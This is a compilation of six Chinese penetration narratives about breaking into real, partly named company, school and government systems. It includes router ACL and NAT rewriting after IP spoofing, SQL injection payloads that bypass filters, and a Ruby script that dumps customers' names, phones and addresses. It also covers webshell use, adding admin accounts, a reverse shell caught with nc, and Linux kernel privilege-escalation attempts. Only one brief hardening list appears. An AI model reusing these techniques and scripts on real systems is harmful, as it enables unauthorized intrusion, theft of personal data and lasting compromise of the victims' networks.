以下是小编精心整理的渗透某知名公司内部网络网站安全(共含6篇),供大家阅读参考。同时,但愿您也能像本文投稿人“gtlqm”一样,积极向本站投稿分享好文章。
这个网络很大共有七个网管,现在当前位置是F网、朋友在B网、目标在A网,
朋友给的资料,目前接入internet的两台设备未知(假设未知的设备都是路由器),图2是该公司大体的网络拓扑图。掌握B网所有设备用户名密码(朋友之前嗅探到的)。除A网其它网络可以自由通信, A网内有公司重要信息所以不像其它网,它是不允许任何人访问的,路由不给予转发数据,也就是只进不出的网络,虽然现在的网络是外紧内松,但是想进入目标主 机还是有些难度。怎么跨过设备的限制到达目标呢!您还要向下看。现在首要的目的就是让router3给我们转发数据包。
首先尝试telnet登录路由,拒绝访问不能登录,我想也不能登录,应该是访问控制列表限制了。
现在我们首要目标拿下router3的控制权,为什么目标定位在router3呢!
我们现在知道他的登录密码;
我当前位置可以和B网直接通信;
Router3是A、B网络公用的,应该两个网管都有权限登录;
这一点也是最重要的,只有router3给予数据转发才可以和目标主机通信;
个人认为router3是最佳路线,现在假设一下,如果B网管理员所管理的设备只有他本身所用的IP或TFTP Server(兼DHCP Server)才可以登录设置,那么有如下思路可以完成入侵。一般来说管理员主机一定可以登录这台路由器的,网管主机都不可以登录设备那么谁为维护网络 呢!
1、直接得到B网管理员主机的一个CMDShell来登录设备。
2、得到管理员同网段一台主机的CMDShell,从而利用ARP欺骗来telnet目标路由。
3、得到B网其它网段中可访问外部网络一台主机的CDM Shell,伪装CDM Shell主机IP地址,必要情况伪装IP+MAC地址来欺骗路由器,(机会高达到50%)。
经过分析拿B网的DHCP服务器(172.16.101.25)开始,选择突破点也是很重要的,DHCP服务器为了提供这个网段的服务他是暴露在相对 外部的,而且不在VLAN的管辖中,还和网管在同一交换机下,而且听朋友说他们公司PC几乎不打补丁,还有很多员工不知补丁为何物,这也给入侵带来及大 的方便。利用服务器的WEB木马上传一些流行的溢出程序,直接拿个溢出程序溢出他的DHCP服务器,(最后才知道的溢出程序对这个主机都有 用)成功得到一个System权限的CMDShell。
革命尚未成功,同志们还须努力啊!“下载”我们肉鸡一个反弹的木马,我们的肉鸡是不能主动连接DHCP服务的,好像有点费话。现在这个主机就是我们在 内网的一个接入点,放弃我们刚才控制的那个WEB主机,利用反弹木马开的个CMD。telnet一下路由,%connection closed by remote host!还是连接失败,不能登录路由器,看样只有172.16.101.15这台主机(管理员IP)可以登录了,我们看一下登录他的交换机OK不(一般 工作组交换机权限设置不会那么BT)。
telnet 172.16.101.253 //交换机管理地址
Password:
center>enable
Password:
成功登录,show mac-access、show cdp neighbors、show arp一些命令判断管理员对应的结口,管理员的IP对应的是FastEthernet 7/1,这个时候要用到IP地址的欺骗,在此感谢EST长的最难看的哥哥。
#interface FastEthernet 7/1
#shutdown
当然,这要等网管离开的时候才可以,这就要内外结合了。这个时候172.16.101.15这台主机在网络上以消失了,我们试一下路由是否允许网管的主机登录,把自己的IP改成172.16.101.15,输入:
netsh >interface ip
netsh interface ip >dump看一下接口配置信息
netsh interface ip >set address name = ″本地连接″ source = static addr = 172.16.101.15 mask = 255.255.255.0
这时候当前主机地址改为172.16.101.15,现在这个主机会和我断掉,但只是一小会,我们的反弹木马一会就能上线。一般重新变改IP地址要发 个ARP包告诉网络其它主机,大概意思是我的IP是172.16.101.15,MAC地址是00-00-00-00-12-34,以后有发往 172.16.101.15地址的数据包都有我来响应。交换机刷新地址表后这台主机伪装成功。在telnet登录路由器,如图2
show running-config看一下配置信息,把路由配置信息COPY到记事本在分析,找到如下配置信息。
access-list 99 172.16.8.88 0.0.0.0 //A网管理员地址
access-list 99 172.16.101.15 0.0.0.0
访问列表99限制只有以上两个IP可以登录路由,看来是这个家伙在作怪,
删除99访问列表,在添加99访问列表:
#access-list 99 172.16.68.88 0.0.0.0
#access-list 99 172.16.101.15 0.0.0.255 //改成172.16.101.0/24网段都可以登录
#line vty 0 4
#access-class 99 in
退出路由系统,把自己IP改回来,把交换机设置也改回来以免网管回来被发现。
center(config)#interface FastEthernet 7/1
center(config-if)#no shutdown
简单的清理一下留下的痕迹,退出他们的网络来分析一下网管是怎么配置的路由,在路由配置信息中有几条重要信息。
ip nat pool NO.1027 10.255.200.1 10.255.200.105 netmask 255.255.255.0
ip nat inside source list 10 pool NO.1027 overload
access-list 10 permit 172.16.7.0 0.0.0.255
access-list 10 permit 172.16.8.0 0.0.0.255
……
router eigrp 10
真是不敢恭维网管的技术,一条访问列表可以搞定的事,非要分成N个访问列表来描述。到这时才明白为什么朋友不能访问目标主机,因为A网边界路由器为其 作NAT的地址转换,将B类地址转换成A类地址,并且有访问列表限制。现在要使当前主机和目标主机在“堡垒”中建立一条专用的“线路”。我这对路由的配 置不是很熟悉,也不敢太多的尝试,以免被网管发现,但是我们可以“重新”配置一下他的eigrp协议,使内部的地址完全暴露在外边,但此办法太容易让网 管发现,但是当时没想出别的办法来。
#clear ip nat translation *
#no ip nat inside source list 10 pool NO.1027 overload
#no …… //去掉他的访问列表及NAT配置信息
#router eigrp 10
(config-router)#network 172.16.2.0 0.0.0.255
(config-router)#network 172.16.3.0 0.0.0.255
(config-router)#network …… //把所有的网段加进去
#reload 10 //10分钟后设备自动重启
现在路由器就可以为我们转发数据包了,并且在10分钟自动重启使更改的的配置失效,我们现在只差一步就大功告成了,现在须要在我控制的那台主机到目标主机创建一条干线使我们的数据包可以直接到达目标主机。
show cdp neighbors得到如下信息:
Device ID Local Intrfce Holdtme Capability Platform. Port ID
Router3 Fas0/12 176 R 2621 4
在交换机中添加VLAN 13,(目标主机的VLAN号),进入Fas0/12端口, “switchport trunk all vlan add 13 ”,在trunk中添加VLAN13,使这条线路可以通过VLAN13的数据,没有必要改变自己的VLAN号,路由器现在没有访问列表来控制我们的数据 流。这个时候我们ping 172.16.8.120目标主机物理IP地址数据包可以到达了。
这次入侵也接近尾声了,和以前一样还是溢出后安装一个反弹木马,使他可以主动连接我的肉鸡,当然这要在10分钟内搞定,否则要重新进路由改变他重启的 时间,备份他硬盘上的数据,备份肉鸡上的数据,最后就是清理一下入侵的痕迹。这次入侵大约10天才完成,因为要等到特定的时间才可以改变他的网络设备配 置,比如改变路由器的访问列表进一定要等到下班时间,大多用户不使用网络时、而目标主机还在使用网络时、网管还没有关闭设备时,也就是要和网管打个时间 差。
本文经过N次的筛选终于从万字的文章精减出此文,可读性、实用性一定会有不同程度上的衰减,本次入侵没有什么新的技术,主要说怎样绕过内部网络设备的限制,只不过是一些经验的叠加,针对网络设备入侵这也算很初级的。
当时少写了个步骤,少了是不会成功的,仔细看的朋友一定能看出来。
转自无才牛。。。
本次渗透分析仅针对WEB系统,考虑其他方面并没有直接可攻破的点
平台: Windows MSSQL IIS 6.0 测试层面: WEB应用程序-动易
由于本人对动易2006并不熟悉,虽然通过GOOGLE查了很多相关的漏洞信息,但是那些漏洞的发布日期已经有4,5年的历史了,只好先整体看看这个WEB的结构,通过首页发现除了注册和登录那里可以到有ASP脚本的踪迹外,其他地址都已经转换成了静态页面,于是注册一个测试帐号,登录进去,里面有些相关帐号信息设置和订单信息的项目,但是在帐号信息设置里没有发现比较明显可以造成漏洞的提交点,这个时候要变换思路了.
重新查看首页,中上部有一个搜索功能,于是马上提交一个单引号,测试返回结果令人振奋,结果如下:
Microsoft OLE DB Provider for SQL Server错误 '80040e14'
字符串 ' order by Hits desc' 之前有未闭合的引号,
/shop/proclass.asp,行 629
这该不会是WEB开发人员自己添加的功能吧,还是动易2006的功能,按道理动易2006经历了这么多的风风雨雨不会犯下愚蠢的错误的,这仅仅是一个猜测,我还没有下载源代码或者看代码文档作出合理判断。
但不管怎么说,这个SQL注入点是一个好兆头,既然是注入点,当然要测试一下一些基本的SQL语句,看能否得到一个敏感信息,于是提交‘ and 1=user--,结果返回空白页面,奇怪。。。难道有过滤?使用比较少见的’ having 1=1--有了返回结果,但是提示语法错误,可以肯定该WEB系统装了类似WAF或者有脚本过滤功能,搜索功能是通过POST提交参数,而且如果想通过自动化工具利用的话,也得抓包分析出其中的提交参数,于是乎请出WinSockExpert,得到路径和参数信息后,先用IE测试一下,结果令人很失望,GET方式过滤的比POST要更加严格,就连单引号已经被过滤,汗。。。填到NBSI里,不论是GET还是POST方式运行都提示错误,看来这个搜索功能的SELECT WERE有不可告人的语法哦,先放一边。
既然有此物也会有彼物的,请出伟大的GOOGLE帮忙吧,site:xxx.com filetype:asp,不错,有很多ASP的连接,其中www.xxxx.com/Shop/ShowTrademark.asp?ChannelID=100&SpecialID=4这个连接是最抢眼的,放入IE,在SpecialID=4之后加单引号,返回到首页,%100的肯定了有SQL注入过滤功能,但是别忘记POST是不能过滤的太严格的,不然用户也要提交一些有特殊符号的内容的,这就是我要钻空子的地方了,接下来用到了JCZ的注入工具,为啥用它呢,因为作者比较厚道,提供了一个查看DEBUG信息和一个自己构造SQL语句功能,可想而知作者是多么希望使用他工具的人不仅仅是会用工具,还是能理解原理的人。
在JCZ中,运行的结果出现了该WEB应用程序的数据库连接帐号是SA权限,支持多语句,数据库名,用户名一些基本信息,但是在进行到测试表名的时候出现了错误,说明被过滤功能阻挡了,怎么办???仅仅这些基本的信息是万万不能有啥突破的。
接下来通过查看JCZ的DEBUG信息,大概猜测过滤了哪些SQL语句,那么就要想办法绕过限制,JCZ的RunSQL功能是一个很好尝试的地方,单独的SELECT是无法执行了,于是想到了uion select的方式,测试结果是理想的,成功的绕过了限制,构造语句如下:/**/and/**/1=2/**/union%20all select%201,2,3,password,5,'a',7,8,9,10,11,'b',13 from PE_Admin—此语句的构造过程一波三折,首先字段数量不难点,纯属体力活,但是中间的几个字段注意类型,如果与前面SQL语句的类型不匹配就会发生错误,另外还有union 后面的all,如果不加会发生如下错误:不能以 distinct 方式选择 text、ntext 或 image 数据类型,这说明了在前面的SELECT语句后使用了DISTINCT的限制关键词
语法解释:SQL SELECT DISTINCT 语句,在表中,可能会包含重复值。这并不成问题,不过,有时您也许希望仅仅列出不同(distinct)的值。
关键词 DISTINCT 用于返回唯一不同的值,UNION 和 UNION ALL的区别,UNION在进行表链接后会筛选掉重复的记录,所以在表链接后会对所产生的结果集进行排序运算,删除重复的记录再返回结果。
而UNION ALL只是简单的将两个结果合并后就返回。这样,如果返回的两个结果集中有重复的数据,那么返回的结果集就会包含重复的数据了,了解语法后就很容易理解为什么要用union all了,因为关键词DISTINCT和UNION都有相同的取出重复值的功能,一起共处难免会让MSSQL难堪的:)
好了,通过上面语句我得到了后台管理员的用户名和密码,这里用XXX表示,那么就找后台路径去登录了,这里又是一个难点,我试过了常用的路径名,甚至动用了扫路径工具都无功而返,郁闷啊,思考好久,不如先放下?!看看这个IP绑定有哪些WEB吧,运气不错,有4个,其中一个WEB也使用动易2006,但是观察页面,和xxx不同的是,我根本看不到注册和登录的连接,于是通过xxx的路径信息,访问到了这个站的注册页面和登录页面,比较幸运的是,在我注册登录进去以后,在最下边发现了,后台管理的连接地址,根据这个地址我折回xxx访问后台,BINGO,原来这个服务器的WEB应用是同一个人或者组织维护的
但我满怀欣喜打开xxx的后台,正好登录的时候发现,在密码框之后还有一个管理员认证码,本来以为不就一个认证码嘛,我再注入得到就好了,但是通过查找动易文档,此管理认证码写到一个固定的配置文件中,只能有管理员才可查看和修改,一座大山突然出现在了我面前
痛苦之余,想了点别的,既然通过别的站点得到后台路径信息,那么可否通过xxx的注入点路径信息得到别的站点的管理员密码呢,但我访问的时候,又一次被深深的打击了一下,结果如下:对不起,你的服务器没有安装动易组件(PE_Common6.dll),所以不能使用动易系统。请和你的空间商联系以安装动易组件。
不能说一点收获也没有,至少我知道这个注入点是动易2006的一个组件造成的!
都已经可以执行SQL语句了,怎么可以就这样放弃,除了SELECT,我认为最好可以执行UPDATE,因为有这样一个事实:在基于WINDOWS 2003系统上,IIS6.0中,如果WEB路径的名字是一个X.ASP,那么在这个路径之下的所有任意类型的文件都会被当作ASP脚本解析,而且我查了动易2006有过这么一个漏洞,漏洞的要点在注册用户名的时候,没有过滤特殊字符点,导致可以注册一个X.ASP的用户名,然后通过访问user/Upload.asp?dialogtype=UserBlogPic&size=5,可以上传允许扩展名类型的文件上去,但内容可以是ASP类型的WEBSHELL,上传成功后,查看源代码,可以找到上传文件的路径信息。
这个事实阐述还是蛮长的,但是我眼前这个动易2006已经早就有了补丁,只允许字母和数字做为用户名,才能注册成功,但是如果我可以UPDATE更新我的用户名称X.ASP也可以达到目的吗,这叫间接实现老漏洞,呵呵,但我第一次构造好语句:;update/**/PE_USER/**/set/**/username='x.asp' where userid=xxx—提交后,HTTP返回无内容,又一次被过滤了,通过测试本地的MSSQL2000,update关键词是没办法拆分的,如果利用EXE(@sql),然后将@sql里用十六进制加密呢,通用过滤declare,cast,varchar等等所必需的元素,这条路也走不通,如果在update之前也加个/**/会怎么样呢,第二次构造好语句:;/**/update/**/PE_USER/**/set/**/username='x.asp' where userid=xxxx—哈哈,有内容返回了,我相信已经更新成功,但我再次通过邮箱登录该帐号以后,在帐号信息了,发现用户名已经是x.asp了,非常的不错,我上传了一个很小的WEBSHELL,为了过愚蠢的图片验证机制,开头加GIF89a,上传成功,查看源代码,又一座大山出现在我面前;路径是有x.asp了,但是后面竟然有5个数字,仔细一看,正好是我的userid,破坏了我当初想的通过x.asp执行WEBSHELL的思路了,我很佩服动易的开发人员,为了程序安全,增加了很多安全机制在里面,下面代码是通过注入点得到所有订单用户的敏感信息:
测试代码 Httpsql.rb:
Code:[Copy to clipboard]
require 'uri'
require 'net/http'
require 'socket'
require 'iconv'
class Httpsql
def initialize(url)
@url = url
@uri = URI.parse(@url)
@i = 5
end
def Postsql(sqlstr, userid, startid=1)
http = Net::HTTP.new(@uri.host, @uri.port)
headers = {
'Content-Type' =>'application/x-www-form-urlencoded'
}
(startid..userid.to_i).step(1) do |id|
print “#” + id.to_s
params_1 = sprintf(sqlstr, “Username”, “ContacterName”,id)
params_2 = sprintf(sqlstr, “Mobile”, “Phone”,id)
params_3 = sprintf(sqlstr, “ZipCode”, “Address”, id)
begin
resp_1 = http.post(@uri.path, params_1, headers)
self.wirtelog(resp_1, “1”)
resp_2 = http.post(@uri.path, params_2, headers)
self.wirtelog(resp_2, “2”)
resp_3 = http.post(@uri.path, params_3, headers)
self.wirtelog(resp_3, “3”)
rescue
@i += 1
sleep(@i);
retry
end
sleep(@i);
end
end
def wirtelog(resp, flag)
#puts resp.body
file = File.new(“userinfo.txt”, “a”)
if resp.body =~ /^
if flag == “1”
file.puts “============================================================”
file.puts “网站用户名: ” + $1
elsif flag == “2”
file.puts “手机号: ” + $1
else
file.puts “邮政编码: ” + $1
end
end
if resp.body =~ /
(.*?)<\/P>/
if flag == “1”
file.puts “真名: ” + $1
elsif flag == “2”
file.puts “座机: ” + $1
else
file.puts “联系地址: ” + $1
file.puts “============================================================”
end
end
file.close
end
end
if __FILE__ == $0
sqlsend = Httpsql.new(“www.xxx.com/Shop/ShowTrademark.asp”)
sqlstr = “?ChannelID=100&SpecialID=4/**/and/**/1=2/**/union/**/all/**/select/**/1,2,3,%s,5,'无',7,8,9,10,11,%s,13/**/from/**/PE_OrderForm/**/where/**/ClientID=%s--”
sqlsend.Postsql(sqlstr, ARGV[1],ARGV[0].to_i)
end
一个朋友准备上某职业技术学校,说该学校号称是国家级重点中等职业学校,只要进入该学校每个学生即可享受3000元国家助学金,该学校网站如图1所示,目前要了解一个学校,只有两种方式,一种是进行实地考察,另外一种就是通过网站来了解,既然朋友给了一个网站就就看看该网站的安全情况如何,
图1 某职校网站
一、信息收集
1.获取IP地址信息
直接打开DOS窗口,然后使用“ping www.**j.com”获取该网站的真实IP地址,如图2所示,通过ping命令知道该主机无丢包率,延迟时间为49。
图2 获取IP地址信息
说明:
使用ping命令一方面是为了获取IP地址,另外通过延迟时间来判断网络速度快慢,也便于后期对该服务器的一些口令检测,例如mysql、mssql、ftp以及pop3等口令的检测。
2.初步获取端口开放情况
使用“sfind.exe Cp 61.*.*.96”命令来获取该职校服务器的端口开放情况,如图3所示,该服务器开放了21、80以及3389端口,通过端口扫描可以初步判断为该服务器为Windows系列。
图3 获取端口初步开放情况
技巧:
(1)3389端口一般为远程终端服务开放端口,只要见(该端口可以初步断定为Windows系列主机。
(2)可以先使用3389远程终端连接器连接该IP地址进行登录尝试,如果登录成功,可以看到该操作系统是Windows 2000 Server还是Windows 2003 Server。本例中通过3389远程终端连接器连接,获取该系统为Windows 2000 Server操作系统。
(3)可以使用superscan以及X-scan等扫描软件扫描端口,X-scan扫描软件个头比较大,扫描操作相对复杂,扫描结果比较全面。
说明:
Superscan3.0版本扫描的结果可以直接访问80、21以及23等服务。二、口令检测
1.扫描口令
根据个人爱好,我一般是脚本检测和口令检测同步进行,在肉鸡上直接运行hscan,设置好参数开始扫描,在本次检测中比较幸运,扫描出该主机IP地址存在弱口令,在本地运行“CuteFtp8.0Professional”,单击“Site Manager”在其中新建一个站点,输入该主机IP地址和和获取的用户名以及密码,最后单击“连接”,进行登录尝试,如图4所示,登录成功。
图4 使用CuteFtp8.0Professional连接Ftp服务器
2.信息分析
通过“CuteFtp8.0Professional”软件对该Ftp服务器的当前用户目录中的内容进行查看,在图4中,我们可以看到该Ftp目录中存在conn.asp数据库连接文件,在该目录还可以看到一个比较熟悉的文件newasp.asp(木马程序常用的一个文件名称)文件,将以上文件下载到本地,并通过UltraEdit-32编辑器打开conn.asp文件,如图5所示。知道该Web站点使用的是Access数据库,数据库路径为根目录下的“database”,数据库名称为“l***88.asa”,该网站系统使用的是PowerEasy,即使用动易网络论坛系列。
图5 查看conn.asp文件内容
3.获取Webshell
查看conn.asp文件后,继续查看其它文件,在newasp.asp文件中我们发现如图6所示,可以很清楚的看出该文件就是一个Webshell,从中还可以看到该Webshell的密码为“h***56”。既然获取该Webshell后,那就直接在该网站输入IP地址后进行尝试。
图6 获取Webshell地址三、实施控制和渗透
1.获取Webshell
在浏览器中输入“网站地址+对应的Webshell地址”,在本例中输入“www.n**.com/newasp.asp”,如图7所示,该Webshell可以正常运行,说明该Webshell可用,
图7 获取Webshell
2.通过Webshell查看文件
在Webshell中输入密码后单击“登录”按钮,验证通过后,如图8所示,可以正常使用该Webshell,通过该Webshell可以看到该网站下的所有文件,通过Webshell可以下载、删除、移动以及编辑等操作。
图8 通过Webshell查看文件
3.通过Serv-U提升权限
在该Webshell中单击“Serv-U提升权限(超强版)”,进入提升权限界面,在该界面中使用默认设置即可,然后单击“提交”按钮将添加密码为“pass13”,用户名称为“user13$”的用户到管理员组中,如图9所示。
图9添加用户提升权限
说明:
(1)在使用Serv-U提升权限时,一般采用Webshell默认的用户名和密码为佳。(2)如果服务器口令有强制性设置,则在添加用户密码时需要满足复杂性要求,即要求满足大小写字母、特殊字符、数字以及位数等要求。
4.提升权限成功
如图10所示,提升权限成功后会给出相应的提示,不过需要注意有时候即使显示成功也不一定添加用户成功。
图10 提升权限显示成功
5.登录服务器
打开远程终端登录器(mstsc.exe),输入刚才添加的用户名和密码,进行登录尝试,登录验证通过后,成功进入该服务器,如图11所示,在该服务器上查看管理员用户组时发现除刚才添加的用户外,还可以看到“iis_helper”用户也为管理员组,通过查看该用户密码修改时间,获取该用户是10月28日添加的,查看newasp.asp文件的时间是8月11日,可以判断该服务器可能在208月就曾经被入侵过。
图11登录服务器五、简单的安全加固
1.使用“360安全卫士”进行简单安全加固
在该计算机上发现安装有“360安全卫士”,打开“360安全卫士”对系统进行一些简单的安全扫描,如图17所示,在恶意插件扫描中,一共发现有9个,将其清除,修复系统存在的安全漏洞。后面还使用360卫士清理启动选项等,对该服务器进行简单加固。
图17 使用“360安全卫士”进行简单加固
2.使用杀毒软件清除系统中的病毒
使用MacFee杀毒软件对系统中的磁盘进行扫描处理,如图18所示,发现系统中存在一些病毒,该文件所在目录为一个Ftp匿名登录目录,可以猜测有可能是入侵者利用社会工程学在进行挂马。
图18 使用杀毒软件进行杀毒
六、总结
本次安全检测仅仅通过扫描Ftp、Mysql以及MSSQL弱口令就获取了某职业学校的控制权限,如果有时间和耐心应该可以渗透该内部网络。本次安全检测的关键就是通过“CuteFtp8.0Professional”软件获取了网站的一些关键文件,包括Webshell,直接通过Serv-U就提升权限成功,进而成功控制系统,就个人经验来说,可以采取以下一些措施来加固系统。
(1)重新更换系统中的所有密码,删除多余的管理员。
(2)对系统进行杀毒、木马检测、端口查看、网络连接等安全检查。
(3)对网站代码进行安全检测,查看代码中是否包含后门和木马代码。
(4)安装防火墙并及时升级系统防火墙、系统补丁。
(5)更改3389端口为其它端口,在事件中增加安全审核,并仅仅授权管理IP地址,即仅仅某一个网段或者某一个IP地址才能访问3389。
(6)严格控制Ftp用户以及目录,如果没有特殊的需要,尽量使用Windows自带的Ftp服务。
目标站点是老Y文章管理系统v2.5的,在网上找了下,目前基本上没有什么可直接利用的漏洞,于是开始旁注
上ip.468w.cn/查了下。服务器上150个站,用super injection导入全部站点后批量扫描注入点,很快拿到了服务器一个asp的shell,可是权限很低.几分钟过后又拿到同服另外的一个.net站的 shell,初步看了下,星外的虚拟主机,设置得比较安全,除了当前站点目录和c:\windows\temp可写入,找了许久都没找到一个即可写也可执 行的目录。这样信息获取的就比较少了,所幸在注册表里HKEY_LOCAL_MACHINE\SYSTEM\LIWEIWENSOFT \INSTALLFREEADMIN\11找到了星外虚拟主机配置信息 mssql sa密码 (32位md5加密,感谢sht同学帮我查询收费记录)
却没看到诸如freehost之类的数据库,sa被降权了,mysql 的root密码也是一样的可惜也被降权了,都是独立帐户启动的数据库.mssql backupdata时除了temp目录可写,其它目录都不能写,xp_cmdshell,xp_dirtree,xp_oacreate,等那些存储过 程都不可用,上传相关dll文件尝试恢复提示拒绝访问,不过还可以用xp_subdirs列出d:\freehost的所有子目录来。但是目标web路径 没有用域名这类的作为名称,花了大半天的时间才找到目标站的路径。大致方法就是通过whois查到管理员的qq邮箱,再通过搜索qq,找到管理员常用用户 名xxx336,再在列出的子目录里找到一个xxx336的目录,exec master..xp_subdirs ‘d:\freehost\xxxx336\web’ 的确老y文章管理系统的目录结构不过后台目录被改了这下也暴露出来了,目前知道后台地址,web目录,
Qq,常用用户名,把这些整理成一字典 进行后台密码和ftp穷举,也失败了。于是想打数据库的主意,老Y文章管理系统的配置文件为/inc/config.asp,的参数中有数据库路径,于是 在网上相关 mssql读取文件内容的方法,总算是找到了,也许牛牛们早就知道了,但我还是第一次用到,拿出来分享下希望对没有接触过的同学有帮助以免走弯路,
用查询分析器执行如下语句
Use xxx120;–(这里是随便选的一个数据库) drop table cmd; create table cmd (a text); BULK INSERT cmd FROM ‘d:\freehost\xxx336\web\inc\config.asp’ WITH ( FIELDTERMINATOR = ‘\n’, ROWTERMINATOR = ‘\n\n’ ) select * from cmd 这样就成功读出了d:\freehost\xxx336\web\inc\config.asp文件的内容,很惊讶。
下载数据库后找到管理员表,密码字符串只有14位,下载了套程序看了下相关代码Mid(md5(Admin_Pass,32),4,18),先经过32位 md5密码然后从4位开始往后取18位 。密码不可逆,看到这个就 了。看了看后台验证文件admin_check.asp, 很鸡肋cookies欺骗。利用起来很麻烦。于是在下载到的数据库的普通用户表中查询和管理员表的里密码相似的用户,结果还真找到了个用户,
由于普通用户表的密码是16位md5加密的,把密文拿到cmd5.com很快就查询出来了明文密码,用这个密码尝试登陆后台,还真成功了,
拿 shell 就简单了,后台有数据库备份功能。至此 大功告成!
摘要:《大中型网络入侵要案直击与防御》本章介绍的是开篇案例--四川某市房管局网站服务器内部网络入侵纪实,本节为大家介绍旁注检测C段网站服务器
21.2.7 旁注检测C段网站服务器
既然链接的目标主机无法成功提权入侵,那么只有考虑进行旁注,看看同C类IP地址段上是否有突破口。
使用“旁注王”进行检测,检测结果发现在同一C段IP上有许多网站服务器(图21-28)。其中,共有存活主机12台,网站数目为22个,相信其中一定有一台存在着漏洞。
首先,在www.**qxx.com(125.70.244.2)网站上检测到一个注入链接。
www.**qxx.com/shownews.asp?nid=358
该注入点具备SA权限(图21-29),可以直接执行系统命令,查看各种系统信息,上传、下载文件等,
图21-28 旁注王
图21-29 注入点SA权限通过在pangolin注入工具的Command功能,执行命令查看远程目标主机信息。发现远程主机系统为Microsoft Windows ,系统中安装了瑞星杀毒软件和防火墙,但是开放了3389端口,可以考虑进行远程终端连接。于是添加一个管理员账号(图21-30),利用远程终端进行连接。
但是在连接时发现,数据库和Web服务器是分离的,不在同一台主机之上。数据库的IP地址为172.16.100.77(图21-31),处于内网中,因此无法直接连接到其3389端口。
图21-30 利用注入点添加管理员账号图21-31 数据库的IP地址
于是考虑直接上传一个反弹型的远程控制木马到远程数据库服务器内网主机上,通过反弹连接控制数据库服务器内网主机。然而这里已经知道数据库服务器内网主机的IP地址为172.16.100.77,前面对“www.**fgj.gov.cn”的注入点进行检测时,发现其内网IP地址为172.29.21.124(图21-32),很明显两台主机不在同一网段,因此很可能不在同一内网之中,即使控制了数据库服务器,也无法渗透入“www.**fgj.gov.cn”网站服务器内网中。
不过“www.**fgj.gov.cn
”(125.70.244.108)网站服务器C类网段中还有其他许多主机(图21-33),选择其他与目标网站IP比较近的网站服务器(125.70.244.110)作为旁注的目标。图21-32 数据库与网站服务器不在同一内网图21-33 其他主机
摘要:《大中型网络入侵要案直击与防御》本章介绍的是开篇案例--四川某市房管局网站服务器内部网络入侵纪实,本节为大家介绍反弹Shell,Linux溢出提权。
21.2.6 反弹Shell,Linux溢出提权
mysql提权失败,转换入侵思路,可以考虑溢出提权,这也是在WebShell中常见的一种提权方式。不过在进行溢出提权时,用WebShell中的shell命令直接操作是无法获得提权后的CMD Shell的,因此必须先利用WebShell反弹到本地,建立一个CMD Shell窗口,在其中进行提权操作。
还是利用刚才的FTP账号上传一个PHP反弹shell工具,上传前修改设置其中的反弹IP地址为本机IP地址,端口为8888,上传后的链接地址为“www.**114.com/ zt/shell.php”。然后在本地打开命令提示符窗口,执行如下命令。
nc -l -vv -p 8888
使用nc监听本地的8888端口。在浏览器中访问“www.**114.com/zt/shell.php”,在nc监听的端口中,就可以获得一个从网站服务器(125.70.244.104)上返回来的命令行Shell了(图21-26)。
获得一个Shell,就可以稳定地进行操作,不会出现像在WebShell中操作时超时或无法连接的情况。现在考虑进行溢出提权。
截止到入侵的当前时间2009年7月为止,最新的Linux溢出提权漏洞有以下几个。
Linux Kernel 2.6.x UDEV Local Privilege Escalation ExploitLinux Kernel 2.6.x SCTP FWD Memory COrruption Remote ExploitLinux Kernel 2.6.x ptrace_attach Local Privilege Escalation Exploit
其中第二个漏洞要求目标系统上至少运行了一个SCTP协议的程序,
SCTP不是一个常用的协议,但在电信网络骨干里会经常见到它,多个Linux发行版默认也不启用SCTP支持,多是以LKM的形式存在的。要利用这个漏洞就必须满足两个条件:系统默认支持SCTP或者加载sctp LKM,系统有一个SCTP用户空间程序监听某个sctp端口。而通过查看端口发现,目标系统中未运行SCTP协议,因此无法利用其进行攻击。只有考虑利用UDEV和ptrace_attach本地提权漏洞攻击。
先尝试最新的Linux Kernel 2.6.x ptrace_attach Local Privilege Escalation Exploit漏洞,这个溢出漏洞利用程序有两个版本,一个是s0m3b0dy,另一个是prdelka版本,两个都是用C语言写的。先将s0m3b0dy版代码文件“s0m3b0dy.c”通过FTP上传,或者直接在返回的Shell窗口中用Wget命令下载到目标主机上。然后在Shell中执行如下命令进行编译。
gcc -o s0m3b0dy s0m3b0dy.c
编译成功生成溢出程序,执行如下命令。
./linux
执行编译程序进行溢出,但是在溢出时提示“Damn no r00t here:(”,看来溢出失败,提权不成功(图21-27)。
图21-26 监听本地端口图21-27 溢出失败再传prdelka版溢出代码“prdelka.c”并进行编译,在编译时出现错误,执行编译程序后无任何反应。
再尝试用Linux Kernel 2.6.x UDEV Local Privilege Escalation Exploit进行溢出提权攻击,也未提权成功。
★ 知名洗发水广告词
★ 知名汽车广告词
★ 名人知名对联
★ 公司内部规章制度